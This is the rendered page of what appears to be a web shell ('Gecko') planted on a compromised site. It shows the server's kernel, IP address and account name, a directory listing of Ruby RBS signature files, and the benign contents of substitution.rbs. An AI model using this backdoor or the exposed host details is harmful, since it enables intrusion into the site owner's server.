Gecko [ www.beriskala.com ]

Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains : Cant Read [ /etc/named.conf ]
User : beriska1

Name	Size	Permission	Date
annotate	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
cli	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
collection	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
prototype	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
rdoc	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
resolver	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
shims	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
test	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
unit_test	[ DIR ]	drwxr-xr-x	2026-05-05 23:08
ancestor_builder.rbs	7.61 KB	-rw-r--r--	2026-04-07 16:50
ancestor_graph.rbs	2.12 KB	-rw-r--r--	2026-04-07 16:50
annotation.rbs	556 B	-rw-r--r--	2026-04-07 16:50
buffer.rbs	718 B	-rw-r--r--	2026-04-07 16:50
builtin_names.rbs	847 B	-rw-r--r--	2026-04-07 16:50
cli.rbs	2.23 KB	-rw-r--r--	2026-04-07 16:50
collection.rbs	41 B	-rw-r--r--	2026-04-07 16:50
comment.rbs	495 B	-rw-r--r--	2026-04-07 16:50
constant.rbs	465 B	-rw-r--r--	2026-04-07 16:50
declarations.rbs	8.22 KB	-rw-r--r--	2026-04-07 16:50
definition.rbs	5.67 KB	-rw-r--r--	2026-04-07 16:50
definition_builder.rbs	5.86 KB	-rw-r--r--	2026-04-07 16:50
diff.rbs	1.42 KB	-rw-r--r--	2026-04-07 16:50
directives.rbs	1.34 KB	-rw-r--r--	2026-04-07 16:50
environment.rbs	8.9 KB	-rw-r--r--	2026-04-07 16:50
environment_loader.rbs	3.76 KB	-rw-r--r--	2026-04-07 16:50
environment_walker.rbs	1.79 KB	-rw-r--r--	2026-04-07 16:50
errors.rbs	11.48 KB	-rw-r--r--	2026-04-07 16:50
factory.rbs	77 B	-rw-r--r--	2026-04-07 16:50
file_finder.rbs	1.27 KB	-rw-r--r--	2026-04-07 16:50
location.rbs	3.23 KB	-rw-r--r--	2026-04-07 16:50
locator.rbs	1.98 KB	-rw-r--r--	2026-04-07 16:50
manifest.yaml	115 B	-rw-r--r--	2026-04-07 16:50
members.rbs	7.71 KB	-rw-r--r--	2026-04-07 16:50
method_builder.rbs	3.17 KB	-rw-r--r--	2026-04-07 16:50
method_types.rbs	1.64 KB	-rw-r--r--	2026-04-07 16:50
namespace.rbs	3.48 KB	-rw-r--r--	2026-04-07 16:50
parser.rbs	3.72 KB	-rw-r--r--	2026-04-07 16:50
rbs.rbs	394 B	-rw-r--r--	2026-04-07 16:50
repository.rbs	2.42 KB	-rw-r--r--	2026-04-07 16:50
sorter.rbs	1.78 KB	-rw-r--r--	2026-04-07 16:50
substitution.rbs	1.47 KB	-rw-r--r--	2026-04-07 16:50
subtractor.rbs	1.77 KB	-rw-r--r--	2026-04-07 16:50
test.rbs	1.83 KB	-rw-r--r--	2026-04-07 16:50
type_alias_dependency.rbs	1.56 KB	-rw-r--r--	2026-04-07 16:50
type_alias_regularity.rbs	3.1 KB	-rw-r--r--	2026-04-07 16:50
type_param.rbs	3.62 KB	-rw-r--r--	2026-04-07 16:50
typename.rbs	2.25 KB	-rw-r--r--	2026-04-07 16:50
types.rbs	14.24 KB	-rw-r--r--	2026-04-07 16:50
use_map.rbs	736 B	-rw-r--r--	2026-04-07 16:50
util.rbs	128 B	-rw-r--r--	2026-04-07 16:50
validator.rbs	2.16 KB	-rw-r--r--	2026-04-07 16:50
variance_calculator.rbs	2.61 KB	-rw-r--r--	2026-04-07 16:50
vendorer.rbs	1.44 KB	-rw-r--r--	2026-04-07 16:50
version.rbs	33 B	-rw-r--r--	2026-04-07 16:50
visitor.rbs	1.57 KB	-rw-r--r--	2026-04-07 16:50
writer.rbs	3.04 KB	-rw-r--r--	2026-04-07 16:50

Rename

module RBS
  # Substitution from type variables to types.
  #
  # The substitution construction is in _destructive_ manner.
  #
  #    sub = Substitution.new
  #    sub.add(from: :A, to: type1)
  #    sub.add(from: :B, to: type2)
  #    sub.instance_type = type3
  #
  class Substitution
    # A hash containing mapping from type variable name to type.
    attr_reader mapping: Hash[Symbol, Types::t]

# The result of applying this substitution to `instance` type.
    # `nil` maps to `instance` type itself.
    attr_accessor instance_type: Types::t?

def initialize: () -> void

# Add mapping to this substitution.
    # Overwrites the previous mapping if same `from` is given.
    def add: (from: Symbol, to: Types::t) -> void

# Utility method to construct a substitution.
    # Raises an error when `variables.size != types.size`.
    # `instance_type` defaults to `nil`.
    #
    # Yields types in `types` and the block value is used if block is given.
    #
    def self.build: (Array[Symbol] variables, Array[Types::t] types, ?instance_type: Types::t?) ?{ (Types::t) -> Types::t } -> instance

# Applies the substitution to given type.
    def apply: (Types::t) -> Types::t

# Returns a substitution without variables given in `vars`.
    def without: (*Symbol vars) -> Substitution

# Returns true if given substitution is identity.
    def empty?: () -> bool

alias [] apply

# (s1 + s2)[t] == s2[s1[t]]
    # 
    def +: (Substitution) -> Substitution
  end
end